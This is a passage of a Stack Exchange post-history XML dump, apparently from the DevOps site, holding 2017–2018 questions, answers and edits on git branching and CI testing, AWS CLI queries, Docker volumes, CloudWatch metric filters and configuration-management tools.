coded features in isolation? I've never worked in a place where we've tested new changes in total isolation therefore I can't get my head around why it's so important to my new Dev Team. In my opinion, the sooner we can test new changes with the rest of the codebase, the better.&#xD;&#xA;&#xD;&#xA;Feel free to ask me any questions if you need me to elaborate on anything. Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="9413" PostHistoryTypeId="1" PostId="3007" RevisionGUID="ad0e9577-53a6-443b-9c31-cd5886c80159" CreationDate="2017-12-31T21:04:38.410" UserId="5901" Text="Continuous Integration and Isolated Feature Testing" ContentLicense="CC BY-SA 3.0" />
  <row Id="9414" PostHistoryTypeId="3" PostId="3007" RevisionGUID="ad0e9577-53a6-443b-9c31-cd5886c80159" CreationDate="2017-12-31T21:04:38.410" UserId="5901" Text="&lt;continuous-integration&gt;&lt;git&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9415" PostHistoryTypeId="2" PostId="3008" RevisionGUID="59b81944-73b2-4def-8b6f-1d3a02a66b5d" CreationDate="2017-12-31T21:38:10.500" UserId="228" Text="Either use the --query attribute&#xD;&#xA;&#xD;&#xA;    aws rds describe-db-snapshots --query &quot;DBSnapshots[?Encrypted].DBSnapshotIdentifier&quot;&#xD;&#xA;&#xD;&#xA;If the [?Encrypted] does not work, try [?Encrypted == 'true'] as the first is from JMESPath improved filters. The quotes might need to be backticks in some case. It all depends.&#xD;&#xA;&#xD;&#xA;Second way:&#xD;&#xA;&#xD;&#xA;    aws rds describe-db-snapshots --output json | jq '.DBSnapshots | map(select(has(&quot;Encrypted&quot;))) | .[].DBSnapshotIndetifier'&#xD;&#xA;&#xD;&#xA;One of them should work. Might need a bit messing around as I don't have your output to tune the jq command. Feel free to edit and fix the answer." ContentLicense="CC BY-SA 3.0" />
  <row Id="9416" PostHistoryTypeId="2" PostId="3009" RevisionGUID="c811c26d-4c6f-4e5b-9bc4-6951cb23907a" CreationDate="2018-01-01T01:53:58.097" UserId="5922" Text="Check the volumes defined in the `Dockerfile` with the `VOLUME` instruction.&#xD;&#xA;&#xD;&#xA;If you don't want volume with random names to be automatically created, you can provide a host path to be bind-mounted to the volume, check the `-v` or `--mount` options, https://docs.docker.com/engine/admin/volumes/volumes/#choose-the--v-or-mount-flag&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    -v /srv/lib/grafana:/var/lib/grafana" ContentLicense="CC BY-SA 3.0" />
  <row Id="9417" PostHistoryTypeId="2" PostId="3010" RevisionGUID="c955f298-7c07-445b-b6cb-9938151e1dc1" CreationDate="2018-01-01T08:28:05.793" UserId="5390" Text="We had the similar requirement as there needs to be a set of data cached in a server for serving the application (Quick Processing) and also by end of the day we would need to sync the data from the cache server to the origin server.&#xD;&#xA;&#xD;&#xA;For the Longer run I would suggest to go for Redis as you can have the redis as an intermediate database(caching) and it will help you in scaling.&#xD;&#xA;&#xD;&#xA;You can write scripts to run at an interval or at specific time of the day so that you can pull/push the data from the origin server(External Application).&#xD;&#xA;&#xD;&#xA;You're requirement wouldn't require Elastic Search at any point of time as it will help you in speeding up search results based on caching, it is just a search engine." ContentLicense="CC BY-SA 3.0" />
  <row Id="9418" PostHistoryTypeId="2" PostId="3011" RevisionGUID="1f2d4b1f-2f1e-40b2-87f6-23cbf140fe44" CreationDate="2018-01-01T19:48:27.460" UserId="4175" Text="First of all, git is certainly not to blame for merges taking a long time. Clean merging is *the* hallmark of git, unless it is used in some broken way. So I encourage you to look at what exactly seems to be the underlying problem. If your devs regularly to sweeping changes to the same files, then it's likely more a problem of cohesion/coupling than of the underlying merge tool.&#xD;&#xA;&#xD;&#xA;Second; I like to do isolated feature-testing, if by that you mean that your test suite is ran against the feature branch (with only the branch changes) in a clean environment. In fact, I like to test *all* branches in this way. How could the `develop` or `master` branch become green if one of the features going into it are not? It goes without saying that `develop` / `master` need to be tested as well. &#xD;&#xA;&#xD;&#xA;You could even go so far as to do a pre-merge test by doing a merge of `feature` into `temp_develop_with_feature` (or whatever you may call it), that is, simulate the merging of a branch into `develop` (under a different name) and test *that*. &#xD;&#xA;&#xD;&#xA;Obviously, all of this assumes that sufficient testing ressources (VMs etc.) are available and fast enough, and that everything is 100% automated, both of which should be rather easy to achieve with something like Jenkins, Gitlab or whatever tool you use (if not, then it's maybe time to look at another one...)." ContentLicense="CC BY-SA 3.0" />
  <row Id="9419" PostHistoryTypeId="5" PostId="3011" RevisionGUID="87dbae47-191d-413e-aa2f-79eeb5b7352d" CreationDate="2018-01-01T20:46:38.717" UserId="4175" Comment="added 2 characters in body" Text="First of all, git is certainly not to blame for merges taking a long time. Clean merging is *the* hallmark of git, unless it is used in some broken way. So I encourage you to look at what exactly seems to be the underlying problem. If your devs regularly make sweeping changes to the same files, then it's likely more a problem of cohesion/coupling than of the underlying merge tool.&#xD;&#xA;&#xD;&#xA;Second; I like to do isolated feature-testing, if by that you mean that your test suite is ran against the feature branch (with only the branch changes) in a clean environment. In fact, I like to test *all* branches in this way. How could the `develop` or `master` branch become green if one of the features going into it are not? It goes without saying that `develop` / `master` need to be tested as well. &#xD;&#xA;&#xD;&#xA;You could even go so far as to do a pre-merge test by doing a merge of `feature` into `temp_develop_with_feature` (or whatever you may call it), that is, simulate the merging of a branch into `develop` (under a different name) and test *that*. &#xD;&#xA;&#xD;&#xA;Obviously, all of this assumes that sufficient testing ressources (VMs etc.) are available and fast enough, and that everything is 100% automated, both of which should be rather easy to achieve with something like Jenkins, Gitlab or whatever tool you use (if not, then it's maybe time to look at another one...)." ContentLicense="CC BY-SA 3.0" />
  <row Id="9420" PostHistoryTypeId="5" PostId="3007" RevisionGUID="da066f67-3a2c-47b7-9173-0f7f22b709e9" CreationDate="2018-01-01T21:16:29.630" UserId="210" Comment="deleted 97 characters in body" Text="I've been given the task at work to move everyone from using TFS Source Control to Git as the Development Team has been lead to believe that Git may well be the silver bullet that will fix alot of the teams issues. &#xD;&#xA;I carried out the migration a month back and fortunately Git has fixed one thing for the team - code reviews are now alot more structured as pull requests in Git give the developer and reviewers a auditible platform to merge code into the master branch. There is however an issue of merge conflicts still, some of which taking up to 2 or 3 hours to resolve. The team are questioning if the tool (Git) is to blame whereas under analysis, I believe there are many other fundamental processes  and pratices at fault within the team. To name but a few that don't sit well with me:&#xD;&#xA;&#xD;&#xA; - All products (Visual Studio Projects) maintained by the company sit under one Visual Studio Solution. This is around 40+ VS Projects ranging from Class Librarys, Services and Database tiers. If an update needs to be made to Production for one product, the whole Solution (along with the other products) needs to be released.&#xD;&#xA; - There a 4 Scrum Teams working on the same VS Solution looking after their own Products. The Sprints all start on different days in a two-week cycle and therefore at any point in time, each team's Sprint is at a different state. Due to the issue raised in the first bullet point however, complexity ensues when it comes to the **monthly** release to Production as code for each product can be at separate stages.&#xD;&#xA;&#xD;&#xA;Anyway, that paints part of the scene to help pose my question. We're now using Git using the following structure:&#xD;&#xA;&#xD;&#xA; - Feature branch - Used for each User Story being worked upon in a Sprint&#xD;&#xA; - Develop branch - All Feature branches are merged into here once the Pull Request has been approved and the change **tested in isolation** on a test server&#xD;&#xA; - Master branch - Successfully tested features are cherry-picked into the Master branch&#xD;&#xA;&#xD;&#xA;My question is, how does DevOps / CI handle testing newly coded features in isolation? I've never worked in a place where we've tested new changes in total isolation therefore I can't get my head around why it's so important to my new Dev Team. In my opinion, the sooner we can test new changes with the rest of the codebase, the better." ContentLicense="CC BY-SA 3.0" />
  <row Id="9421" PostHistoryTypeId="2" PostId="3012" RevisionGUID="a1433704-4356-4816-8f52-05355be34ae9" CreationDate="2018-01-01T21:49:37.080" UserId="210" Text="&gt; There is however an issue of merge conflicts still, some of which&#xD;&#xA;&gt; taking up to 2 or 3 hours to resolve. The team are questioning if the&#xD;&#xA;&gt; tool (Git) is to blame whereas under analysis.&#xD;&#xA;&#xD;&#xA;**What is causing the merge hassle?**&#xD;&#xA;&#xD;&#xA; - Why does it take up to two or three hours to resolve merge conflicts?&#xD;&#xA; - What workflow do the developers use?&#xD;&#xA; &#xD;&#xA;In summary, what is the cause of this merging conflict hassle?&#xD;&#xA;&#xD;&#xA;**Is git causing the issue?**&#xD;&#xA;&#xD;&#xA;This has nothing to do with git, but looks like a workflow issue.&#xD;&#xA;&#xD;&#xA;My favorite flow is [the GitHub flow][1]. When a feature has to be created, a new branch will be created from the master, when development has been completed, a PR will be created, when the review is completed the branch could be merged into master.&#xD;&#xA;&#xD;&#xA;There are other flows, but what I do not like about [gitflow][2] is that I have seen in multiple companies that developers were applying a kind of &quot;through it over the wall&quot; approach as they merge multiple features to the develop branch without releasing. When after a couple of months software has to be released from the master then a lot of issues could occur.&#xD;&#xA;&#xD;&#xA;**Release software more often**&#xD;&#xA;&#xD;&#xA;When the github flow will be applied then less merge conflicts will occur as when one creates a new feature then one has to create a branch from the master. As features are merged into the master, there is a bigger change that the commits in the feature branch will be behind master.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://guides.github.com/introduction/flow/&#xD;&#xA;  [2]: http://datasift.github.io/gitflow/IntroducingGitFlow.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="9422" PostHistoryTypeId="5" PostId="3012" RevisionGUID="ddba9885-8191-49f3-a7fd-62aa3affc6e9" CreationDate="2018-01-01T21:54:47.547" UserId="210" Comment="added 359 characters in body" Text="&gt; There is however an issue of merge conflicts still, some of which&#xD;&#xA;&gt; taking up to 2 or 3 hours to resolve. The team are questioning if the&#xD;&#xA;&gt; tool (Git) is to blame whereas under analysis.&#xD;&#xA;&#xD;&#xA;**What is causing the merge hassle?**&#xD;&#xA;&#xD;&#xA; - Why does it take up to two or three hours to resolve merge conflicts?&#xD;&#xA; - What workflow do the developers use?&#xD;&#xA; &#xD;&#xA;In summary, what is the cause of this merging conflict hassle?&#xD;&#xA;&#xD;&#xA;**Is git causing the issue?**&#xD;&#xA;&#xD;&#xA;This has nothing to do with git, but looks like a workflow issue.&#xD;&#xA;&#xD;&#xA;My favorite flow is [the GitHub flow][1]. When a feature has to be created, a new branch will be created from the master, when development has been completed, a PR will be created, when the review is completed the branch could be merged into master.&#xD;&#xA;&#xD;&#xA;There are other flows, but what I do not like about [gitflow][2] is that I have seen in multiple companies that developers were applying a kind of &quot;through it over the wall&quot; approach as they merge multiple features to the develop branch without releasing. When after a couple of months software has to be released from the master then a lot of issues could occur.&#xD;&#xA;&#xD;&#xA;**Release software more often**&#xD;&#xA;&#xD;&#xA;When the github flow will be applied then less merge conflicts will occur as when one creates a new feature then one has to create a branch from the master. As features are merged into the master, there is a bigger change that the commits in the feature branch will be behind master.&#xD;&#xA;&#xD;&#xA;**Discipline**&#xD;&#xA;&#xD;&#xA;Although workflows could be applied, the most important thing is discipline. Developers should ensure that if they create a Pull Request that their commits that reside in a feature branch are ahead of the master. Other developers should enforce that features will not be too big as these will be harder to merge and are harder to review.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://guides.github.com/introduction/flow/&#xD;&#xA;  [2]: http://datasift.github.io/gitflow/IntroducingGitFlow.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="9423" PostHistoryTypeId="5" PostId="3012" RevisionGUID="2a9473d5-e375-4241-baf9-819514a5755f" CreationDate="2018-01-01T22:10:38.793" UserId="210" Comment="added 337 characters in body" Text="&gt; There is however an issue of merge conflicts still, some of which&#xD;&#xA;&gt; taking up to 2 or 3 hours to resolve. The team are questioning if the&#xD;&#xA;&gt; tool (Git) is to blame whereas under analysis.&#xD;&#xA;&#xD;&#xA;**What is causing the merge hassle?**&#xD;&#xA;&#xD;&#xA; - Why does it take up to two or three hours to resolve merge conflicts?&#xD;&#xA; - What workflow do the developers use?&#xD;&#xA; &#xD;&#xA;In summary, what is the cause of this merging conflict hassle?&#xD;&#xA;&#xD;&#xA;**Is git causing the issue?**&#xD;&#xA;&#xD;&#xA;This has nothing to do with git, but looks like a workflow issue.&#xD;&#xA;&#xD;&#xA;My favorite flow is [the GitHub flow][1]. When a feature has to be created, a new branch will be created from the master, when development has been completed, a PR will be created, when the review is completed the branch could be merged into master.&#xD;&#xA;&#xD;&#xA;There are other flows, but what I do not like about [gitflow][2] is that I have seen in multiple companies that developers were applying a kind of &quot;through it over the wall&quot; approach as they merge multiple features to the develop branch without releasing. When after a couple of months software has to be released from the master then a lot of issues could occur. I personally like [the following quote from this answer][3].&#xD;&#xA;&#xD;&#xA;&gt; don't use git-flow. It looks nice in that diagram because of the&#xD;&#xA;&gt; lovely coloured dots and nicely laid out lines, but in reality it&#xD;&#xA;&gt; looks like an insane messy web of coloured lines and dots.&#xD;&#xA;&#xD;&#xA;**Release software more often**&#xD;&#xA;&#xD;&#xA;When the github flow will be applied then less merge conflicts will occur as when one creates a new feature then one has to create a branch from the master. As features are merged into the master, there is a bigger change that the commits in the feature branch will be behind master.&#xD;&#xA;&#xD;&#xA;**Discipline**&#xD;&#xA;&#xD;&#xA;Although workflows could be applied, the most important thing is discipline. Developers should ensure that if they create a Pull Request that their commits that reside in a feature branch are ahead of the master. Other developers should enforce that features will not be too big as these will be harder to merge and are harder to review.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://guides.github.com/introduction/flow/&#xD;&#xA;  [2]: http://datasift.github.io/gitflow/IntroducingGitFlow.html&#xD;&#xA;  [3]: https://softwareengineering.stackexchange.com/a/347825/218283" ContentLicense="CC BY-SA 3.0" />
  <row Id="9425" PostHistoryTypeId="2" PostId="3013" RevisionGUID="277354cf-f917-4285-be28-2a5428654d69" CreationDate="2018-01-01T23:23:51.093" UserId="5933" Text="I am using the following command. Getting Authorization error.&#xD;&#xA;&#xD;&#xA;    aws sns publish --phone-number +91XXXXXXXXXX --message hello&#xD;&#xA;    &#xD;&#xA;    An error occurred (AuthorizationError) when calling the Publish operation: User: arn:aws:XXX::XXXXXXXXXXXX:user/ABC-DEF-SNS is not authorized to perform: SNS:Publish on resource: +91XXXXXXXXXX&#xD;&#xA;&#xD;&#xA;Other related sns commands are working. I can also able to send sms through a topic to a subscribed number." ContentLicense="CC BY-SA 3.0" />
  <row Id="9426" PostHistoryTypeId="1" PostId="3013" RevisionGUID="277354cf-f917-4285-be28-2a5428654d69" CreationDate="2018-01-01T23:23:51.093" UserId="5933" Text="How to send sms to a phone number using aws sns cli?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9427" PostHistoryTypeId="3" PostId="3013" RevisionGUID="277354cf-f917-4285-be28-2a5428654d69" CreationDate="2018-01-01T23:23:51.093" UserId="5933" Text="&lt;aws-cli&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9428" PostHistoryTypeId="2" PostId="3014" RevisionGUID="64a61b70-f2a1-4863-9238-94bf66735cb4" CreationDate="2018-01-02T02:23:38.373" UserId="5934" Text="I'm a new developer who is picking up python. I'm currently writing code using python's asyncio or twisted framework to automate the setup of some raspberry pi and servers I got 2nd hand (xen, hyper-v) using SSH, I tried ansible but I prefer writing my own code for learning.&#xD;&#xA;&#xD;&#xA;does this fit into software defined infrastructure?&#xD;&#xA;if I setup automate deployment of code, is this considered devops?&#xD;&#xA;&#xD;&#xA;additionally, I hope to enquire if my intended workflow is considered &quot;devops&quot;?&#xD;&#xA;&#xD;&#xA;- gitlabs &#xD;&#xA;- automated code testing (tox/travis ci)&#xD;&#xA;- automated deployment of code to raspberry pi&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9429" PostHistoryTypeId="1" PostId="3014" RevisionGUID="64a61b70-f2a1-4863-9238-94bf66735cb4" CreationDate="2018-01-02T02:23:38.373" UserId="5934" Text="how is software defined infrastructure related to devops?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9430" PostHistoryTypeId="3" PostId="3014" RevisionGUID="64a61b70-f2a1-4863-9238-94bf66735cb4" CreationDate="2018-01-02T02:23:38.373" UserId="5934" Text="&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9432" PostHistoryTypeId="50" PostId="1984" RevisionGUID="e3b23d00-0a5d-45a7-aaf2-3f9b73d4bcdf" CreationDate="2018-01-02T05:09:17.153" UserId="-1" />
  <row Id="9433" PostHistoryTypeId="2" PostId="3015" RevisionGUID="f99642c8-a349-424c-9784-011a4a718e8c" CreationDate="2018-01-02T07:51:03.727" UserId="4175" Text="&gt; if I setup automate deployment of code, is this considered devops?&#xD;&#xA;&#xD;&#xA;Sure, automating everything is a big part of DevOps.&#xD;&#xA;&#xD;&#xA;&gt; I tried ansible but I prefer writing my own code for learning&#xD;&#xA;&#xD;&#xA;Now, this is laudable, but using Ansible (or Puppet or Chef or ...) would be &quot;learning&quot; as well. The benefit of using established tools over DIY is that if/when you meet other developers, you have a common toolset to work with. Doing it yourself is nice sometimes as well, but basing a whole software development process on 100% self-written tools (from scratch) is not a good idea, unless you have deeply evaluated the existing tools and consider them all unfit for the purpose. &#xD;&#xA;&#xD;&#xA;When your team grows and you encounter a new developer - is it more likely that they already know about Ansible, or that they know about the code you wrote?&#xD;&#xA;&#xD;&#xA;Also, the fact that the tools mentioned above do not do their stuff in the &quot;code&quot; directly, but that they have text files which configure them, is important as well. It abstracts the configuration stuff away from actual code, which *will* be hard to maintain a few years down the road, no matter how good you are." ContentLicense="CC BY-SA 3.0" />
  <row Id="9434" PostHistoryTypeId="2" PostId="3016" RevisionGUID="388be389-abf2-43b7-b30f-38e9a5816c7f" CreationDate="2018-01-02T12:05:42.743" UserId="6" Text="Most probably your user `arn:aws:XXX::XXXXXXXXXXXX:user/ABC-DEF-SNS` does not have the required permissions to the `sns:Publish` API.&#xD;&#xA;&#xD;&#xA;You can check using the IAM Policy Simulator at https://policysim.aws.amazon.com/&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;using policy simulator is explained in depth here https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_testing-policies.html&lt;/sup&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9438" PostHistoryTypeId="34" PostId="2883" RevisionGUID="f3512386-438f-413d-8bb1-36d9c8189afa" CreationDate="2018-01-02T12:52:44.173" UserId="60" Comment="13" />
  <row Id="9439" PostHistoryTypeId="2" PostId="3017" RevisionGUID="0baa9a85-93c3-470b-aa1b-46993a61696d" CreationDate="2018-01-02T14:45:36.520" UserId="5941" Text="CloudWatch [Metric Filters][1] are the recommended way to create custom metrics from Lambda functions. Sending the metrics directly from the lambda function to the CloudWatch api is the main alternative, but it has several disadvantages including, not least, the cost (at scale). It does seem like a cleaner and cheaper approach to log the metics out to CloudWatch Logs and then have a Metric filter extract the metric from the logs.&#xD;&#xA;&#xD;&#xA;The main disadvantage this approach seems to have is the lack of support for Dimensions.&#xD;&#xA;&#xD;&#xA;Let's say I have a metric I want to record from my executing lambda function called `CountIDidSomething`, and since this is count the value is always 1.&#xD;&#xA;&#xD;&#xA;If I was to use the [CloudWatch api][2] to send this metric then I would be able to include dimensions to label it with the name of the lambda function for example.&#xD;&#xA;&#xD;&#xA;However, if I use the Metric Filter approach I can't add dimensions. The only alternative I have is to put the name of the lambda function in the name of the metric, but I end up with a large number of custom metrics being created, all representing the same metric but with different names. This seems to go against the purpose of metrics as generic labels for values coming from different sources. where dimensions are used to slice and dice them.&#xD;&#xA;&#xD;&#xA;I wanted to see if anyone knew of a better approach to either of these two, or whether I will just have to make do with what I've got.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/MonitoringLogData.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/cli/latest/reference/cloudwatch/put-metric-data.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="9440" PostHistoryTypeId="1" PostId="3017" RevisionGUID="0baa9a85-93c3-470b-aa1b-46993a61696d" CreationDate="2018-01-02T14:45:36.520" UserId="5941" Text="Is it possible to create AWS CloudWatch Metric Filters with dimensions?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9441" PostHistoryTypeId="3" PostId="3017" RevisionGUID="0baa9a85-93c3-470b-aa1b-46993a61696d" CreationDate="2018-01-02T14:45:36.520" UserId="5941" Text="&lt;amazon-web-services&gt;&lt;amazon-cloudwatch&gt;&lt;metrics&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9442" PostHistoryTypeId="50" PostId="2412" RevisionGUID="4efd1bf1-9a32-4a50-8412-8c002523e567" CreationDate="2018-01-02T15:15:32.533" UserId="-1" />
  <row Id="9443" PostHistoryTypeId="50" PostId="1917" RevisionGUID="91ab3184-13e6-411a-949b-6d2c7349cc4d" CreationDate="2018-01-02T16:15:32.960" UserId="-1" />
  <row Id="9444" PostHistoryTypeId="50" PostId="1877" RevisionGUID="b48a1d02-697c-4c1d-ba59-360f1157a057" CreationDate="2018-01-02T17:15:32.507" UserId="-1" />
  <row Id="9445" PostHistoryTypeId="2" PostId="3018" RevisionGUID="dbb89f35-ce84-4c9e-bb9c-430dd70aa1df" CreationDate="2018-01-02T17:40:16.410" UserId="2845" Text="Historically, [F5's Application Delivery Controller](https://f5.com/) has been the enterprise-grade industry solution for doing this. With this solution you can:&#xD;&#xA;&#xD;&#xA; - Use [iRules LX](https://devcentral.f5.com/articles/introducing-irules-lx-19888) to communicate with other software to auto-scale on an as-needed basis&#xD;&#xA; - Load balance at Layer 4 (to achieve better throughput/acceleration) or Layer 7&#xD;&#xA; - [Share memory between Virtual Servers](https://devcentral.f5.com/articles/v101-the-table-command-the-basics) (there may be a better way using iRules LX instead of just iRules)&#xD;&#xA; - [Bridge or offload/terminate](https://f5.com/glossary/ssl-bridging) TLS on the Load Balancer&#xD;&#xA; - Have vendor support and [consulting](https://f5.com/about-us/news/press-releases/f5-announces-new-irules-ondemand-service-for-rapid) if needed&#xD;&#xA; - [Do all of this](https://aws.amazon.com/featured-partners/f5/) in [Amazon's cloud](https://aws.amazon.com/marketplace/seller-profile?id=74d946f0-fa54-4d9f-99e8-ff3bd8eb2745)  (or [anyone else's](https://f5.com/products/deployment-methods/virtual-editions); you can also run it in-house)&#xD;&#xA; - Scale to millions more connections than Kubernetes, nginx, or [any other load balancer solution that doesn't use a microkernel is capable of.](http://highscalability.com/blog/2013/5/13/the-secret-to-10-million-concurrent-connections-the-kernel-i.html)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9449" PostHistoryTypeId="2" PostId="3020" RevisionGUID="4fe3a74b-47ab-4145-90eb-e0d8329bbe68" CreationDate="2018-01-02T23:56:29.593" UserId="3920" Text="I would like to start collecting parameters from local developer environments on my team, such as to see how they configure their properties files (not in source control), what directory they use as their application root, where they have this and that software installed etc.&#xD;&#xA;&#xD;&#xA;So I was envisioning having a script that each would run daily and which would post that data to some web service within some application that does this kind of stuff within the DevOps realm -- team management etc. Is there such an app for local developer management, just like Jenkins does builds or Chef does deployments?&#xD;&#xA;&#xD;&#xA;Ideally, I would go into this console and get an idea of how each developer on my team has their environment configured without that developer letting me see their laptop, provided that, of course, my data collection script includes all the relevant parameters." ContentLicense="CC BY-SA 3.0" />
  <row Id="9450" PostHistoryTypeId="1" PostId="3020" RevisionGUID="4fe3a74b-47ab-4145-90eb-e0d8329bbe68" CreationDate="2018-01-02T23:56:29.593" UserId="3920" Text="Tool to collect developer environment parameters" ContentLicense="CC BY-SA 3.0" />
  <row Id="9451" PostHistoryTypeId="3" PostId="3020" RevisionGUID="4fe3a74b-47ab-4145-90eb-e0d8329bbe68" CreationDate="2018-01-02T23:56:29.593" UserId="3920" Text="&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9453" PostHistoryTypeId="2" PostId="3021" RevisionGUID="dfb80a28-1a2d-454a-8ade-5d06c5dd017f" CreationDate="2018-01-03T06:19:17.440" UserId="5942" Text="I am trying to find a solution for configuration management using AWS OpsWorks. What I can see is AWS offers three services for OpsWorks&#xD;&#xA;&#xD;&#xA;1. Chef Automate&#xD;&#xA;2. Puppet&#xD;&#xA;3. AWS stacks&#xD;&#xA;&#xD;&#xA;I have read basics of all three of them but unable to compare between three of them. I am unable to understand when to use which solution. &#xD;&#xA;&#xD;&#xA;I want to implemnet a solution for my multiple EC2 instances, using which I can deliver updates to all my instances from a central repository(github). And, rollback changes if needed. &#xD;&#xA;&#xD;&#xA;So following are my queries: &#xD;&#xA;&#xD;&#xA;1. Which of the three solutions is best for this use case?&#xD;&#xA;2. What should I use if my instances are in different regions?&#xD;&#xA;&#xD;&#xA;I am unable to find anything useful on these topics so that I can make my decision. It would be great if I can get links to some useful articles as well.&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="9454" PostHistoryTypeId="1" PostId="3021" RevisionGUID="dfb80a28-1a2d-454a-8ade-5d06c5dd017f" CreationDate="2018-01-03T06:19:17.440" UserId="5942" Text="What should I use for configuration management on AWS?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9455" PostHistoryTypeId="3" PostId="3021" RevisionGUID="dfb80a28-1a2d-454a-8ade-5d06c5dd017f" CreationDate="2018-01-03T06:19:17.440" UserId="5942" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;configuration-management&gt;&lt;automation&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9456" PostHistoryTypeId="6" PostId="3021" RevisionGUID="43c3fc4b-6fd1-4b50-a265-3a3d5e08f718" CreationDate="2018-01-03T06:24:10.370" UserId="46" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;configuration-management&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9460" PostHistoryTypeId="2" PostId="3023" RevisionGUID="fbd78a93-e653-4aa8-a5eb-c2217a43977c" CreationDate="2018-01-03T09:44:17.557" UserId="4175" Text="A good way to find comparison information about things like this is googling for &quot;X vs Y&quot;, e.g. &quot;Chef vs AWS stacks&quot;, &quot;Chef vs Puppet&quot; or something like that. That *does* turn out subjective information, and is nothing like having hands-on experience, but you still get a few nice nuggets here or there.&#xD;&#xA;&#xD;&#xA;For example, Chef gives you the full Ruby language while Puppet has a ruby-based DSL. Does that matter for you? Only you can tell.&#xD;&#xA;&#xD;&#xA;From my experience with Puppet/Ansible (and I don't know Chef yet) it's all mostly down to taste. For example, I really like the fact that Ansible needs only a working ssh key and nothing else. And I like that there is no central repository. Others may like the fact that Puppet has a repository. Also, I like the dead simple configuration file format. But that is all subjective.&#xD;&#xA;&#xD;&#xA;So, to cut to the chase, my advice would be:&#xD;&#xA;&#xD;&#xA;- Use AWS Stacks if you are fully committed to AWS, will never change to another provider, and like the higher integration with AWS features. It uses Chef internally anyways, and exposes the Chef files to you.&#xD;&#xA;- Use Chef directly if you like to learn something new and want to stay a bit vendor independent. If you later decide to commit to AWS fully, then you should be able to do so.&#xD;&#xA;- Use Puppet (which AWS starts to support as well, seemingly) if you, well, like Puppet more, or if you can't stand Chef." ContentLicense="CC BY-SA 3.0" />
  <row Id="9461" PostHistoryTypeId="5" PostId="3023" RevisionGUID="1c259961-5b81-4db2-aff7-29f5391db1f5" CreationDate="2018-01-03T09:49:19.700" UserId="4175" Comment="added 5 characters in body" Text="A good way to find comparison information about things like this is googling for &quot;X vs Y&quot;, e.g. &quot;Chef vs AWS stacks&quot;, &quot;Chef vs Puppet&quot; or something like that. That *does* turn out subjective information, and while it is nothing like having hands-on experience, you still get a few nice nuggets here or there.&#xD;&#xA;&#xD;&#xA;For example, Chef gives you the full Ruby language while Puppet has a ruby-based DSL. Does that matter for you? Only you can tell. &#xD;&#xA;&#xD;&#xA;From my experience with Puppet/Ansible (and I don't know Chef yet) it's all mostly down to taste. For example, I really like the fact that Ansible needs only a working ssh key and nothing else. And I like that there is no central repository. Others may like the fact that Puppet has a repository. Also, I like the dead simple configuration file format. But that is all subjective.&#xD;&#xA;&#xD;&#xA;So, to cut to the chase, my advice would be:&#xD;&#xA;&#xD;&#xA;- Use AWS Stacks if you are fully committed to AWS, will never change to another provider, and like the higher integration with AWS features. It uses Chef internally anyways, and exposes the Chef files to you.&#xD;&#xA;- Use Chef directly if you like to learn something new and want to stay a bit vendor independent. If you later decide to commit to AWS fully, then you should be able to do so.&#xD;&#xA;- Use Puppet (which AWS starts to support as well, seemingly) if you, well, like Puppet more, or if you can't stand Chef." ContentLicense="CC BY-SA 3.0" />
  <row Id="9463" PostHistoryTypeId="10" PostId="2983" RevisionGUID="9eeb2a47-3f12-4218-af83-1ed2f50df235" CreationDate="2018-01-03T13:23:42.387" UserId="13" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:960,&quot;DisplayName&quot;:&quot;Xiong Chiamiov&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="9468" PostHistoryTypeId="10" PostId="3013" RevisionGUID="91b0bc0b-4e1a-4d51-ae15-36b83f02548a" CreationDate="2018-01-03T13:52:09.457" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="9469" PostHistoryTypeId="12" PostId="3013" RevisionGUID="60445424-7661-4004-b6c7-abfe6d130a22" CreationDate="2018-01-03T13:52:13.120" UserId="13" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
